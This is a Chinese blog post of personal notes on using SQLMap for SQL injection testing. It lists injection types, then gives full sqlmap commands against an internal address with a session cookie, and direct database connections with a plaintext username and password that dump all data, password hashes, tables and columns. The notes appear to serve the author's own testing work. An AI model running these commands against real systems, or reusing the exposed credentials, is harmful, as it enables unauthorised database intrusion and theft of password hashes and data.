SQLMap的测试总结

上一篇 / 下一篇  2021-03-26 16:46:02 / 个人分类:sql注入测试

1、sql注入的解释与测试模式:
基于布尔的盲注,即可以根据返回页面判断条件真假的注入;
基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断;
基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中;
联合查询注入,可以使用union的情况下的注入;
堆查询注入,可以同时执行多条语句的执行时的注入。
2、本质:
通过url地址,访问系统来实现一些具体操作,并根据一些特殊条件,如sql语句、sql语句的一些特殊字符、sql的一些特殊格式、某些边界值等,来替换uri中的参数,来实现sql注入的测试。
3、
url样例:
(1)get类型样例
(2)post类型样例
抓包后将http请求保存为文件,通过读取文件的形式进行测试
ra.txt(3.1 KB)
4、环境配置
python2环境下运行
5、命令
(1)盲注命令:
5.1对于get请求
python sqlmap.py -u "http://192.168.10.199:2115/unira/superadmin/admin/superadmin/edit?id=88cd66c0907b4381b7d953774f7f1d0d" --dbms PostgreSql --level=3 --risk=2 --cookie PHPSESSID=e43616a2510ea0f85a98b1243490d933 --keep-alive -o -beep
-u 目标地址
--dbms 指定数据库类型
--level 指定测试级别,默认为1初级,执行测试的等级(1-5,默认为1)
--risk指定测试危险系数,执行测试的风险(0-3,默认为1)
--cookie 指定登陆时候产生cookie,跳过登陆校验
--keep-alive 保持长连接
-o 优化测试过程
-beep 有sql注入即提示
5.2对于post请求
python sqlmap.py -r "C:\Users\liang\Desktop\ra.txt" --dbms PostgreSql --level=3 --risk=3 --keep-alive -o --beep
加载完毕ra.txt后,按“回车”键
(2)连接数据库命令
直连数据库:
首先需要安装与postgresql数据库相关的psycopy2插件
a、执行python sqlmap.py -d"postgresql://syan:Syan1234!@192.168.10.199:5432/unira" 即可查看当前dbms类型
b、python sqlmap.py -d"postgresql://syan:Syan1234!@192.168.10.199:5432/unira" -a查看所有数据
c、python sqlmap.py -d"postgresql://syan:Syan1234!@192.168.10.199:5432/unira" -f 查看数据库指纹
d、python sqlmap.py -d"postgresql://syan:Syan1234!@192.168.10.199:5432/unira" -b 查看banner,编译信息
e、python sqlmap.py -d"postgresql://syan:Syan1234!@192.168.10.199:5432/unira" --current-user查看当前数据库user
f、python sqlmap.py -d"postgresql://syan:Syan1234!@192.168.10.199:5432/unira" --passwords查看数据库passswords的hash值
g、python sqlmap.py -d"postgresql://syan:Syan1234!@192.168.10.199:5432/unira" --tables查看unira数据库中的所有的表
h、python sqlmap.py -d"postgresql://syan:Syan1234!@192.168.10.199:5432/unira" --columns查看unira数据库中的所有表的字段
i、python sqlmap.py -d"postgresql://syan:Syan1234!@192.168.10.199:5432/unira" --schema public 查看schema为public的所有表信息

TAG:

 

评分:0

我来说两句

Open Toolbar